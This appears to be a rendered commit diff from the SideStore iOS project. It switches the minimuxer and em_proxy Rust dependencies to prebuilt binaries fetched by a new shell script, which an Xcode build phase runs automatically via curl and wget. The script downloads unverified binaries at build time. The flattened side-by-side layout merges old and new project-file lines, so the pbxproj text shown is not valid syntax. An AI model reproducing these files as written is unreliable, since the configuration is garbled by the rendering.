CA6094FFF692E04653AD465F = { /* End XCConfigurationList section */
isa = PBXProject; };
attributes = { rootObject = CA6094FFF692E04653AD465F /* Project object */;
LastUpgradeCheck = 1300;
TargetAttributes = {
CA60C44C93D7A30E3695DD59 = {
CreatedOnToolsVersion = 9.2;
ProvisioningStyle = Automatic;
};
CA60058A9FBE37FC563E4BCC = {
CreatedOnToolsVersion = 9.2;
ProvisioningStyle = Automatic;
};
};
};
buildConfigurationList = CA6094FFF69280E02D6C7F57;
compatibilityVersion = "Xcode 11.4";
developmentRegion = en;
hasScannedForEncodings = 0;
knownRegions = (
en,
Base,
);
mainGroup = CA6094FFF692D65BC3C892A8;
productRefGroup = CA6094FFF69222869D176AE5 /* Products */;
projectDirPath = "";
projectRoot = "";
targets = (
CA60C44C93D7A30E3695DD59,
CA60058A9FBE37FC563E4BCC,
);
};
};
rootObject = CA6094FFF692E04653AD465F;
} }

1
Dependencies/em_proxy/.gitkeep vendored Normal file
View File

@@ -0,0 +1 @@
Use ../fetch-prebuilt.sh to fetch prebuilt Rust dependencies

52
Dependencies/fetch-prebuilt.sh vendored Normal file
View File

@@ -0,0 +1,52 @@
#!/usr/bin/env bash
# Ensure we are in Dependencies directory
cd "$(dirname "$0")"
check_for_update() {
if [ -f ".skip-prebuilt-fetch-$1" ]; then
echo "Skipping prebuilt fetch for $1 since .skip-prebuilt-fetch-$1 exists. If you are developing $1 alongside SideStore, don't remove this file, or this script will replace your locally built binaries with the ones built by GitHub Actions."
return
fi
if [ ! -f ".last-prebuilt-fetch-$1" ]; then
echo "0,none" > ".last-prebuilt-fetch-$1"
fi
LAST_FETCH=`cat .last-prebuilt-fetch-$1 | perl -n -e '/([0-9]*),([^ ]*)$/ && print $1'`
LAST_COMMIT=`cat .last-prebuilt-fetch-$1 | perl -n -e '/([0-9]*),([^ ]*)$/ && print $2'`
# fetch if last fetch was over 6 hours ago
if [[ $LAST_FETCH -lt $(expr $(date +%s) - 21600) ]] || [[ "$2" == "force" ]]; then
echo "Checking $1 for update"
echo
LATEST_COMMIT=`curl https://api.github.com/repos/SideStore/$1/releases/latest | perl -n -e '/Commit: https:\\/\\/github\\.com\\/[^\\/]*\\/[^\\/]*\\/commit\\/([^"]*)/ && print $1'`
echo
echo "Last commit: $LAST_COMMIT"
echo "Latest commit: $LATEST_COMMIT"
if [[ "$LAST_COMMIT" != "$LATEST_COMMIT" ]]; then
echo "Found update, downloading binaries"
echo
wget -O "$1/lib$1.a" "https://github.com/SideStore/$1/releases/latest/download/lib$1.a"
wget -O "$1/lib$1-sim.a" "https://github.com/SideStore/$1/releases/latest/download/lib$1-sim.a"
wget -O "$1/$1.h" "https://github.com/SideStore/$1/releases/latest/download/$1.h"
echo
else
echo "Up-to-date"
fi
echo "$(date +%s),$LATEST_COMMIT" > ".last-prebuilt-fetch-$1"
else
echo "It hasn't been 6 hours and force was not specified, skipping update check for $1"
fi
}
# Allow for Xcode to check minimuxer and em_proxy separately by skipping the update check if the other one is specified as an argument
if [[ "$1" != "em_proxy" ]]; then
check_for_update minimuxer "$1"
if [[ "$1" != "minimuxer" ]]; then
echo
fi
fi
if [[ "$1" != "minimuxer" ]]; then
check_for_update em_proxy "$1"
fi

Submodule Dependencies/minimuxer deleted from 87fda7dd92

View File

@@ -1,292 +1,283 @@
// !$*UTF8*$! // !$*UTF8*$!
{ {
/* generated with cargo-xcode 1.5.0 */ archiveVersion = 1;
archiveVersion = 1; classes = {
classes = { };
}; objectVersion = 53;
objectVersion = 53; objects = {
objects = {
/* Begin PBXBuildFile section */ /* Begin PBXBuildFile section */
9987603329A454B500818586 /* minimuxer.h in Sources */ = {isa = PBXBuildFile; fileRef = 9987603229A454B500818586 /* minimuxer.h */; };
CA6038F2DF2FA560B9642892 /* Cargo.toml in Sources */ = {
isa = PBXBuildFile;
fileRef = CA6012A875F93EF4668187A5 /* Cargo.toml */;
settings = {
COMPILER_FLAGS = "--lib"; /* == OTHER_INPUT_FILE_FLAGS */
};
};
/* End PBXBuildFile section */ /* End PBXBuildFile section */
/* Begin PBXBuildRule section */ /* Begin PBXBuildRule section */
CA6012A875F9AC6C1400ACA8 /* PBXBuildRule */ = { CA6012A875F9AC6C1400ACA8 /* PBXBuildRule */ = {
isa = PBXBuildRule; isa = PBXBuildRule;
compilerSpec = com.apple.compilers.proxy.script; compilerSpec = com.apple.compilers.proxy.script;
dependencyFile = "$(DERIVED_FILE_DIR)/$(CARGO_XCODE_TARGET_ARCH)-$(EXECUTABLE_NAME).d"; filePatterns = "*/minimuxer.h";
filePatterns = "*/Cargo.toml"; /* must contain asterisk */ fileType = pattern.proxy;
fileType = pattern.proxy; inputFiles = (
inputFiles = (); );
isEditable = 0; isEditable = 0;
name = "Cargo project build"; name = "Cargo project build";
outputFiles = ( outputFiles = (
"$(OBJECT_FILE_DIR)/$(CARGO_XCODE_TARGET_ARCH)-$(EXECUTABLE_NAME)", "$(OBJECT_FILE_DIR)/$(CARGO_XCODE_TARGET_ARCH)-$(EXECUTABLE_NAME)",
); );
script = "# generated with cargo-xcode 1.5.0\n\nset -eu; export PATH=\"$PATH:$HOME/.cargo/bin:/usr/local/bin\";\nif [ \"${IS_MACCATALYST-NO}\" = YES ]; then\n CARGO_XCODE_TARGET_TRIPLE=\"${CARGO_XCODE_TARGET_ARCH}-apple-ios-macabi\"\nelse\n CARGO_XCODE_TARGET_TRIPLE=\"${CARGO_XCODE_TARGET_ARCH}-apple-${CARGO_XCODE_TARGET_OS}\"\nfi\nif [ \"$CARGO_XCODE_TARGET_OS\" != \"darwin\" ]; then\n PATH=\"${PATH/\\/Contents\\/Developer\\/Toolchains\\/XcodeDefault.xctoolchain\\/usr\\/bin:/xcode-provided-ld-cant-link-lSystem-for-the-host-build-script:}\"\nfi\nPATH=\"$PATH:/opt/homebrew/bin\" # Rust projects often depend on extra tools like nasm, which Xcode lacks\nif [ \"$CARGO_XCODE_BUILD_MODE\" == release ]; then\n OTHER_INPUT_FILE_FLAGS=\"${OTHER_INPUT_FILE_FLAGS} --release\"\nfi\nif command -v rustup &> /dev/null; then\n if ! rustup target list --installed | egrep -q \"${CARGO_XCODE_TARGET_TRIPLE}\"; then\n echo \"warning: this build requires rustup toolchain for $CARGO_XCODE_TARGET_TRIPLE, but it isn\'t installed\"\n rustup target add \"${CARGO_XCODE_TARGET_TRIPLE}\" || echo >&2 \"warning: can\'t install $CARGO_XCODE_TARGET_TRIPLE\"\n fi\nfi\nif [ \"$ACTION\" = clean ]; then\n ( set -x; cargo clean --manifest-path=\"$SCRIPT_INPUT_FILE\" ${OTHER_INPUT_FILE_FLAGS} --target=\"${CARGO_XCODE_TARGET_TRIPLE}\"; );\nelse\n ( set -x; cargo build --manifest-path=\"$SCRIPT_INPUT_FILE\" --features=\"${CARGO_XCODE_FEATURES:-}\" ${OTHER_INPUT_FILE_FLAGS} --target=\"${CARGO_XCODE_TARGET_TRIPLE}\"; );\nfi\n# it\'s too hard to explain Cargo\'s actual exe path to Xcode build graph, so hardlink to a known-good path instead\nBUILT_SRC=\"${CARGO_TARGET_DIR}/${CARGO_XCODE_TARGET_TRIPLE}/${CARGO_XCODE_BUILD_MODE}/${CARGO_XCODE_CARGO_FILE_NAME}\"\nln -f -- \"$BUILT_SRC\" \"$SCRIPT_OUTPUT_FILE_0\"\n\n# xcode generates dep file, but for its own path, so append our rename to it\nDEP_FILE_SRC=\"${CARGO_TARGET_DIR}/${CARGO_XCODE_TARGET_TRIPLE}/${CARGO_XCODE_BUILD_MODE}/${CARGO_XCODE_CARGO_DEP_FILE_NAME}\"\nif [ -f \"$DEP_FILE_SRC\" ]; then\n DEP_FILE_DST=\"${DERIVED_FILE_DIR}/${CARGO_XCODE_TARGET_ARCH}-${EXECUTABLE_NAME}.d\"\n cp -f \"$DEP_FILE_SRC\" \"$DEP_FILE_DST\"\n echo >> \"$DEP_FILE_DST\" \"$SCRIPT_OUTPUT_FILE_0: $BUILT_SRC\"\nfi\n\n# lipo script needs to know all the platform-specific files that have been built\n# archs is in the file name, so that paths don\'t stay around after archs change\n# must match input for LipoScript\nFILE_LIST=\"${DERIVED_FILE_DIR}/${ARCHS}-${EXECUTABLE_NAME}.xcfilelist\"\ntouch \"$FILE_LIST\"\nif ! egrep -q \"$SCRIPT_OUTPUT_FILE_0\" \"$FILE_LIST\" ; then\n echo >> \"$FILE_LIST\" \"$SCRIPT_OUTPUT_FILE_0\"\nfi\n"; script = "# generated with cargo-xcode 1.5.0\n# modified to use prebuilt binaries\n\nset -eu;\n\nBUILT_SRC=\"./minimuxer/$LIB_FILE_NAME.a\"\nln -f -- \"$BUILT_SRC\" \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\" || cp \"$BUILT_SRC\" \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\necho \"$BUILT_SRC -> $TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\n\n# xcode generates dep file, but for its own path, so append our rename to it\n#DEP_FILE_SRC=\"minimuxer/target/${CARGO_XCODE_TARGET_TRIPLE}/release/${CARGO_XCODE_CARGO_DEP_FILE_NAME}\"\n#if [ -f \"$DEP_FILE_SRC\" ]; then\n# DEP_FILE_DST=\"${DERIVED_FILE_DIR}/${CARGO_XCODE_TARGET_ARCH}-${EXECUTABLE_NAME}.d\"\n# cp -f \"$DEP_FILE_SRC\" \"$DEP_FILE_DST\"\n# echo >> \"$DEP_FILE_DST\" \"$SCRIPT_OUTPUT_FILE_0: $BUILT_SRC\"\n#fi\n\n# lipo script needs to know all the platform-specific files that have been built\n# archs is in the file name, so that paths don't stay around after archs change\n# must match input for LipoScript\n#FILE_LIST=\"${DERIVED_FILE_DIR}/${ARCHS}-${EXECUTABLE_NAME}.xcfilelist\"\n#touch \"$FILE_LIST\"\n#if ! egrep -q \"$SCRIPT_OUTPUT_FILE_0\" \"$FILE_LIST\" ; then\n# echo >> \"$FILE_LIST\" \"$SCRIPT_OUTPUT_FILE_0\"\n#fi\n";
}; };
/* End PBXBuildRule section */ /* End PBXBuildRule section */
/* Begin PBXFileReference section */ /* Begin PBXFileReference section */
9987603229A454B500818586 /* minimuxer.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; name = minimuxer.h; path = minimuxer/minimuxer.h; sourceTree = "<group>"; };
CA609C732349C7AAD9FA67C4 /* staticlib */ = { ADDEDBA66A6E1 /* libresolv.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libresolv.tbd; path = usr/lib/libresolv.tbd; sourceTree = SDKROOT; };
isa = PBXFileReference; CA609C732349C7AAD9FA67C4 /* libminimuxer_static.a */ = {isa = PBXFileReference; explicitFileType = archive.ar; includeInIndex = 0; path = libminimuxer_static.a; sourceTree = BUILT_PRODUCTS_DIR; };
explicitFileType = "archive.ar";
includeInIndex = 0;
name = "libminimuxer_static.a";
sourceTree = TARGET_BUILD_DIR;
};
CA6012A875F93EF4668187A5 /* Cargo.toml */ = {
isa = PBXFileReference;
lastKnownFileType = text;
fileEncoding = 4;
name = "Cargo.toml";
path = "minimuxer/Cargo.toml";
sourceTree = "<group>";
};
/* Rust needs libresolv */
ADDEDBA66A6E1 = {
isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition";
name = libresolv.tbd; path = usr/lib/libresolv.tbd; sourceTree = SDKROOT;
};
/* End PBXFileReference section */ /* End PBXFileReference section */
/* Begin PBXGroup section */ /* Begin PBXGroup section */
CA6012A875F998AF0B5890DB /* Frameworks */ = { ADDEDBA66A6E2 /* Required for static linking */ = {
isa = PBXGroup; isa = PBXGroup;
children = ( children = (
ADDEDBA66A6E2, ADDEDBA66A6E1 /* libresolv.tbd */,
);
); name = "Required for static linking";
name = Frameworks; sourceTree = "<group>";
sourceTree = "<group>"; };
}; CA6012A875F922869D176AE5 /* Products */ = {
isa = PBXGroup;
children = (
ADDEDBA66A6E2 /* Required for static linking */ = { CA609C732349C7AAD9FA67C4 /* libminimuxer_static.a */,
isa = PBXGroup; );
children = ( name = Products;
ADDEDBA66A6E1 sourceTree = "<group>";
); };
name = "Required for static linking"; CA6012A875F998AF0B5890DB /* Frameworks */ = {
sourceTree = "<group>"; isa = PBXGroup;
}; children = (
ADDEDBA66A6E2 /* Required for static linking */,
CA6012A875F922869D176AE5 /* Products */ = { );
isa = PBXGroup; name = Frameworks;
children = ( sourceTree = "<group>";
CA609C732349C7AAD9FA67C4, };
CA6012A875F9D65BC3C892A8 = {
); isa = PBXGroup;
name = Products; children = (
sourceTree = "<group>"; 9987603229A454B500818586 /* minimuxer.h */,
}; CA6012A875F922869D176AE5 /* Products */,
CA6012A875F998AF0B5890DB /* Frameworks */,
CA6012A875F9D65BC3C892A8 /* Main */ = { );
isa = PBXGroup; sourceTree = "<group>";
children = ( };
CA6012A875F93EF4668187A5,
CA6012A875F922869D176AE5,
CA6012A875F998AF0B5890DB,
);
sourceTree = "<group>";
};
/* End PBXGroup section */ /* End PBXGroup section */
/* Begin PBXNativeTarget section */ /* Begin PBXNativeTarget section */
CA609C732349A560B9642892 /* minimuxer-staticlib */ = { CA609C732349A560B9642892 /* minimuxer-staticlib */ = {
isa = PBXNativeTarget; isa = PBXNativeTarget;
buildConfigurationList = CA600589A243A560B9642892; buildConfigurationList = CA600589A243A560B9642892 /* Build configuration list for PBXNativeTarget "minimuxer-staticlib" */;
buildPhases = ( buildPhases = (
CA600F638141A560B9642892 /* Sources */, 9987603629A4611D00818586 /* ShellScript */,
CA6012A875F9AF6EBB7F357C /* Universal Binary lipo */, CA600F638141A560B9642892 /* Sources */,
); CA6012A875F9AF6EBB7F357C /* Universal Binary lipo */,
buildRules = ( );
CA6012A875F9AC6C1400ACA8 /* PBXBuildRule */, buildRules = (
); CA6012A875F9AC6C1400ACA8 /* PBXBuildRule */,
dependencies = ( );
); dependencies = (
name = "minimuxer-staticlib"; );
productName = "libminimuxer_static.a"; name = "minimuxer-staticlib";
productReference = CA609C732349C7AAD9FA67C4; productName = libminimuxer_static.a;
productType = "com.apple.product-type.library.static"; productReference = CA609C732349C7AAD9FA67C4 /* libminimuxer_static.a */;
}; productType = "com.apple.product-type.library.static";
};
/* End PBXNativeTarget section */ /* End PBXNativeTarget section */
CA600F638141A560B9642892 = { /* Begin PBXProject section */
isa = PBXSourcesBuildPhase; CA6012A875F9E04653AD465F /* Project object */ = {
buildActionMask = 2147483647; isa = PBXProject;
files = ( attributes = {
CA6038F2DF2FA560B9642892 LastUpgradeCheck = 1300;
); TargetAttributes = {
runOnlyForDeploymentPostprocessing = 0; CA609C732349A560B9642892 = {
}; CreatedOnToolsVersion = 9.2;
ProvisioningStyle = Automatic;
CA600589A243A560B9642892 /* staticlib */ = { };
isa = XCConfigurationList; };
buildConfigurations = ( };
CA602DE9FCEDA560B9642892 /* Release */, buildConfigurationList = CA6012A875F980E02D6C7F57 /* Build configuration list for PBXProject "minimuxer" */;
CA6008D36272A560B9642892 /* Debug */, compatibilityVersion = "Xcode 11.4";
); developmentRegion = en;
defaultConfigurationIsVisible = 0; hasScannedForEncodings = 0;
defaultConfigurationName = Release; knownRegions = (
}; en,
CA602DE9FCEDA560B9642892 /* staticlib */ = { Base,
isa = XCBuildConfiguration; );
buildSettings = { mainGroup = CA6012A875F9D65BC3C892A8;
PRODUCT_NAME = "minimuxer_static"; productRefGroup = CA6012A875F922869D176AE5 /* Products */;
"CARGO_XCODE_CARGO_FILE_NAME" = "libminimuxer.a"; projectDirPath = "";
"CARGO_XCODE_CARGO_DEP_FILE_NAME" = "libminimuxer.d"; projectRoot = "";
SUPPORTED_PLATFORMS = "macosx iphonesimulator iphoneos appletvsimulator appletvos"; targets = (
SKIP_INSTALL = YES; CA609C732349A560B9642892 /* minimuxer-staticlib */,
INSTALL_GROUP = ""; );
INSTALL_MODE_FLAG = ""; };
INSTALL_OWNER = ""; /* End PBXProject section */
};
name = Release;
};
CA6008D36272A560B9642892 /* staticlib */ = {
isa = XCBuildConfiguration;
buildSettings = {
PRODUCT_NAME = "minimuxer_static";
"CARGO_XCODE_CARGO_FILE_NAME" = "libminimuxer.a";
"CARGO_XCODE_CARGO_DEP_FILE_NAME" = "libminimuxer.d";
SUPPORTED_PLATFORMS = "macosx iphonesimulator iphoneos appletvsimulator appletvos";
SKIP_INSTALL = YES;
INSTALL_GROUP = "";
INSTALL_MODE_FLAG = "";
INSTALL_OWNER = "";
};
name = Debug;
};
CA6012A875F9AF6EBB7F357C /* LipoScript */ = { /* Begin PBXShellScriptBuildPhase section */
name = "Universal Binary lipo"; 9987603629A4611D00818586 /* ShellScript */ = {
isa = PBXShellScriptBuildPhase; isa = PBXShellScriptBuildPhase;
buildActionMask = 2147483647; buildActionMask = 2147483647;
files = (); files = (
inputFileListPaths = (); );
inputPaths = ( inputFileListPaths = (
"$(DERIVED_FILE_DIR)/$(ARCHS)-$(EXECUTABLE_NAME).xcfilelist", );
); inputPaths = (
outputFileListPaths = (); );
outputPaths = ( outputFileListPaths = (
"$(TARGET_BUILD_DIR)/$(EXECUTABLE_PATH)" );
); outputPaths = (
runOnlyForDeploymentPostprocessing = 0; ./minimuxer/minimuxer.h,
shellPath = /bin/sh; );
shellScript = "# generated with cargo-xcode 1.5.0\n\n set -eux; cat \"$DERIVED_FILE_DIR/$ARCHS-$EXECUTABLE_NAME.xcfilelist\" | tr \'\\n\' \'\\0\' | xargs -0 lipo -create -output \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\n if [ ${LD_DYLIB_INSTALL_NAME:+1} ]; then\n install_name_tool -id \"$LD_DYLIB_INSTALL_NAME\" \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\n fi\n "; runOnlyForDeploymentPostprocessing = 0;
}; shellPath = /bin/sh;
shellScript = "bash ./fetch-prebuilt.sh minimuxer\n";
};
CA6012A875F9AF6EBB7F357C /* Universal Binary lipo */ = {
isa = PBXShellScriptBuildPhase;
buildActionMask = 2147483647;
files = (
);
inputFileListPaths = (
);
inputPaths = (
"$(DERIVED_FILE_DIR)/$(ARCHS)-$(EXECUTABLE_NAME).xcfilelist",
);
name = "Universal Binary lipo";
outputFileListPaths = (
);
outputPaths = (
"$(TARGET_BUILD_DIR)/$(EXECUTABLE_PATH)",
);
runOnlyForDeploymentPostprocessing = 0;
shellPath = /bin/sh;
shellScript = "# generated with cargo-xcode 1.5.0\n\n#set -eux; cat \"$DERIVED_FILE_DIR/$ARCHS-$EXECUTABLE_NAME.xcfilelist\" | tr '\\n' '\\0' | xargs -0 lipo -create -output \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\n#if [ ${LD_DYLIB_INSTALL_NAME:+1} ]; then\n# install_name_tool -id \"$LD_DYLIB_INSTALL_NAME\" \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\n#fi\n";
};
/* End PBXShellScriptBuildPhase section */
CA6012A875F980E02D6C7F57 = { /* Begin PBXSourcesBuildPhase section */
isa = XCConfigurationList; CA600F638141A560B9642892 /* Sources */ = {
buildConfigurations = ( isa = PBXSourcesBuildPhase;
CA60A20F8EA63CC16B37690B /* Release */, buildActionMask = 2147483647;
CA60A20F8EA6228BE02872F8 /* Debug */, files = (
); 9987603329A454B500818586 /* minimuxer.h in Sources */,
defaultConfigurationIsVisible = 0; );
defaultConfigurationName = Release; runOnlyForDeploymentPostprocessing = 0;
}; };
/* End PBXSourcesBuildPhase section */
CA60A20F8EA63CC16B37690B = { /* Begin XCBuildConfiguration section */
isa = XCBuildConfiguration; CA6008D36272A560B9642892 /* Debug */ = {
buildSettings = { isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO; CARGO_XCODE_CARGO_DEP_FILE_NAME = libminimuxer.d;
SUPPORTS_MACCATALYST = YES; CARGO_XCODE_CARGO_FILE_NAME = libminimuxer.a;
CARGO_TARGET_DIR = "$(PROJECT_TEMP_DIR)/cargo_target"; /* for cargo */ INSTALL_GROUP = "";
CARGO_XCODE_FEATURES = ""; /* configure yourself */ INSTALL_MODE_FLAG = "";
"CARGO_XCODE_TARGET_ARCH[arch=arm64*]" = "aarch64"; INSTALL_OWNER = "";
"CARGO_XCODE_TARGET_ARCH[arch=x86_64*]" = "x86_64"; /* catalyst adds h suffix */ LIB_FILE_NAME = "";
"CARGO_XCODE_TARGET_ARCH[arch=i386]" = "i686"; "LIB_FILE_NAME[sdk=iphoneos*]" = libminimuxer;
"CARGO_XCODE_TARGET_OS[sdk=macosx*]" = "darwin"; "LIB_FILE_NAME[sdk=iphonesimulator*]" = "libminimuxer-sim";
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*]" = "ios-sim"; PRODUCT_NAME = minimuxer_static;
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*][arch=x86_64*]" = "ios"; SKIP_INSTALL = YES;
"CARGO_XCODE_TARGET_OS[sdk=iphoneos*]" = "ios"; SUPPORTED_PLATFORMS = "macosx iphonesimulator iphoneos appletvsimulator appletvos";
"CARGO_XCODE_TARGET_OS[sdk=appletvsimulator*]" = "tvos"; };
"CARGO_XCODE_TARGET_OS[sdk=appletvos*]" = "tvos"; name = Debug;
PRODUCT_NAME = "minimuxer"; };
MARKETING_VERSION = "0.1.0"; CA602DE9FCEDA560B9642892 /* Release */ = {
CURRENT_PROJECT_VERSION = "0.1"; isa = XCBuildConfiguration;
SDKROOT = macosx; buildSettings = {
CARGO_XCODE_CARGO_DEP_FILE_NAME = libminimuxer.d;
"CARGO_XCODE_BUILD_MODE" = "release"; /* for xcode scripts */ CARGO_XCODE_CARGO_FILE_NAME = libminimuxer.a;
}; INSTALL_GROUP = "";
name = Release; INSTALL_MODE_FLAG = "";
}; INSTALL_OWNER = "";
LIB_FILE_NAME = "";
"LIB_FILE_NAME[sdk=iphoneos*]" = libminimuxer;
"LIB_FILE_NAME[sdk=iphonesimulator*]" = "libminimuxer-sim";
PRODUCT_NAME = minimuxer_static;
SKIP_INSTALL = YES;
SUPPORTED_PLATFORMS = "macosx iphonesimulator iphoneos appletvsimulator appletvos";
};
name = Release;
};
CA60A20F8EA6228BE02872F8 /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CARGO_TARGET_DIR = "$(PROJECT_TEMP_DIR)/cargo_target";
CARGO_XCODE_BUILD_MODE = debug;
CARGO_XCODE_FEATURES = "";
"CARGO_XCODE_TARGET_ARCH[arch=arm64*]" = aarch64;
"CARGO_XCODE_TARGET_ARCH[arch=i386]" = i686;
"CARGO_XCODE_TARGET_ARCH[arch=x86_64*]" = x86_64;
"CARGO_XCODE_TARGET_OS[sdk=appletvos*]" = tvos;
"CARGO_XCODE_TARGET_OS[sdk=appletvsimulator*]" = tvos;
"CARGO_XCODE_TARGET_OS[sdk=iphoneos*]" = ios;
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*]" = "ios-sim";
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*][arch=x86_64*]" = ios;
"CARGO_XCODE_TARGET_OS[sdk=macosx*]" = darwin;
CURRENT_PROJECT_VERSION = 0.1;
MARKETING_VERSION = 0.1.0;
ONLY_ACTIVE_ARCH = YES;
PRODUCT_NAME = minimuxer;
SDKROOT = macosx;
SUPPORTS_MACCATALYST = YES;
};
name = Debug;
};
CA60A20F8EA63CC16B37690B /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CARGO_TARGET_DIR = "$(PROJECT_TEMP_DIR)/cargo_target";
CARGO_XCODE_BUILD_MODE = release;
CARGO_XCODE_FEATURES = "";
"CARGO_XCODE_TARGET_ARCH[arch=arm64*]" = aarch64;
"CARGO_XCODE_TARGET_ARCH[arch=i386]" = i686;
"CARGO_XCODE_TARGET_ARCH[arch=x86_64*]" = x86_64;
"CARGO_XCODE_TARGET_OS[sdk=appletvos*]" = tvos;
"CARGO_XCODE_TARGET_OS[sdk=appletvsimulator*]" = tvos;
"CARGO_XCODE_TARGET_OS[sdk=iphoneos*]" = ios;
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*]" = "ios-sim";
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*][arch=x86_64*]" = ios;
"CARGO_XCODE_TARGET_OS[sdk=macosx*]" = darwin;
CURRENT_PROJECT_VERSION = 0.1;
MARKETING_VERSION = 0.1.0;
PRODUCT_NAME = minimuxer;
SDKROOT = macosx;
SUPPORTS_MACCATALYST = YES;
};
name = Release;
};
/* End XCBuildConfiguration section */
CA60A20F8EA6228BE02872F8 = { /* Begin XCConfigurationList section */
isa = XCBuildConfiguration; CA600589A243A560B9642892 /* Build configuration list for PBXNativeTarget "minimuxer-staticlib" */ = {
buildSettings = { isa = XCConfigurationList;
buildConfigurations = (
ALWAYS_SEARCH_USER_PATHS = NO; CA602DE9FCEDA560B9642892 /* Release */,
SUPPORTS_MACCATALYST = YES; CA6008D36272A560B9642892 /* Debug */,
CARGO_TARGET_DIR = "$(PROJECT_TEMP_DIR)/cargo_target"; /* for cargo */ );
CARGO_XCODE_FEATURES = ""; /* configure yourself */ defaultConfigurationIsVisible = 0;
"CARGO_XCODE_TARGET_ARCH[arch=arm64*]" = "aarch64"; defaultConfigurationName = Release;
"CARGO_XCODE_TARGET_ARCH[arch=x86_64*]" = "x86_64"; /* catalyst adds h suffix */ };
"CARGO_XCODE_TARGET_ARCH[arch=i386]" = "i686"; CA6012A875F980E02D6C7F57 /* Build configuration list for PBXProject "minimuxer" */ = {
"CARGO_XCODE_TARGET_OS[sdk=macosx*]" = "darwin"; isa = XCConfigurationList;
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*]" = "ios-sim"; buildConfigurations = (
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*][arch=x86_64*]" = "ios"; CA60A20F8EA63CC16B37690B /* Release */,
"CARGO_XCODE_TARGET_OS[sdk=iphoneos*]" = "ios"; CA60A20F8EA6228BE02872F8 /* Debug */,
"CARGO_XCODE_TARGET_OS[sdk=appletvsimulator*]" = "tvos"; );
"CARGO_XCODE_TARGET_OS[sdk=appletvos*]" = "tvos"; defaultConfigurationIsVisible = 0;
PRODUCT_NAME = "minimuxer"; defaultConfigurationName = Release;
MARKETING_VERSION = "0.1.0"; };
CURRENT_PROJECT_VERSION = "0.1"; /* End XCConfigurationList section */
SDKROOT = macosx; };
rootObject = CA6012A875F9E04653AD465F /* Project object */;
"CARGO_XCODE_BUILD_MODE" = "debug"; /* for xcode scripts */
ONLY_ACTIVE_ARCH = YES;
};
name = Debug;
};
CA6012A875F9E04653AD465F = {
isa = PBXProject;
attributes = {
LastUpgradeCheck = 1300;
TargetAttributes = {
CA609C732349A560B9642892 = {
CreatedOnToolsVersion = 9.2;
ProvisioningStyle = Automatic;
};
};
};
buildConfigurationList = CA6012A875F980E02D6C7F57;
compatibilityVersion = "Xcode 11.4";
developmentRegion = en;
hasScannedForEncodings = 0;
knownRegions = (
en,
Base,
);
mainGroup = CA6012A875F9D65BC3C892A8;
productRefGroup = CA6012A875F922869D176AE5 /* Products */;
projectDirPath = "";
projectRoot = "";
targets = (
CA609C732349A560B9642892,
);
};
};
rootObject = CA6012A875F9E04653AD465F;
} }

1
Dependencies/minimuxer/.gitkeep vendored Normal file
View File

@@ -0,0 +1 @@
Use ../fetch-prebuilt.sh to fetch prebuilt Rust dependencies

View File

@@ -1,10 +0,0 @@
#!/usr/bin/env bash
set -e; set -o pipefail; set -x;
echo "Building Rust projects..."
cd em_proxy
cargo xcode --output-dir ../
cd ../
cd minimuxer
cargo xcode --output-dir ../
echo "Done!"

View File

@@ -1,40 +0,0 @@
// Jackson Coxson
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdlib.h>
/**
* Starts your emotional damage
* # Arguments
* * `bind_addr` - The UDP socket to listen to
* # Returns
* A handle to stop further emotional damage.
* Null on failure
* # Safety
* Don't be stupid
*/
int start_emotional_damage(const char *bind_addr);
/**
* Stops further emotional damage
* # Arguments
* * `handle` - The coping mechanism generated by start_emotional_damage
* # Returns
* The knowledge of knowing that you couldn't handle failure
* # Safety
* Don't be stupid
*/
void stop_emotional_damage(void);
/**
* Blocks until Wireguard is ready
* # Arguments
* * `timeout` - The timeout in miliseconds to wait for Wireguard
* # Returns
* 0 on success, -1 on failure
*/
int test_emotional_damage(int timeout);

138
Makefile
View File

@@ -2,8 +2,6 @@ SHELL := /bin/bash
.PHONY: help ios update tvos .PHONY: help ios update tvos
RUBY := $(shell command -v ruby 2>/dev/null) RUBY := $(shell command -v ruby 2>/dev/null)
RUST := $(shell command -v rust 2>/dev/null)
RUSTUP := $(shell command -v rustup 2>/dev/null)
HOMEBREW := $(shell command -v brew 2>/dev/null) HOMEBREW := $(shell command -v brew 2>/dev/null)
BUNDLER := $(shell command -v bundle 2>/dev/null) BUNDLER := $(shell command -v bundle 2>/dev/null)
@@ -72,11 +70,7 @@ help:
## Install dependencies. ## Install dependencies.
setup: \ setup: \
pre_setup \ pre_setup
install_rust \
install_rustup \
install_rust_toolchain \
build_rust_dependencies
# check_for_homebrew \ # check_for_homebrew \
# update_homebrew \ # update_homebrew \
@@ -89,20 +83,6 @@ pull_request: \
pre_setup: pre_setup:
$(info Project setup…) $(info Project setup…)
check_for_rust:
$(info Checking for Rust…)
ifeq ($(RUST),)
$(error Rust is not installed.)
endif
check_for_rustup:
$(info Checking for Rustup…)
ifeq ($(RUSTUP),)
$(error Rust is not installed.)
endif
check_for_ruby: check_for_ruby:
$(info Checking for Ruby…) $(info Checking for Ruby…)
@@ -153,79 +133,12 @@ pull:
## -- Source Code Tasks -- ## -- Source Code Tasks --
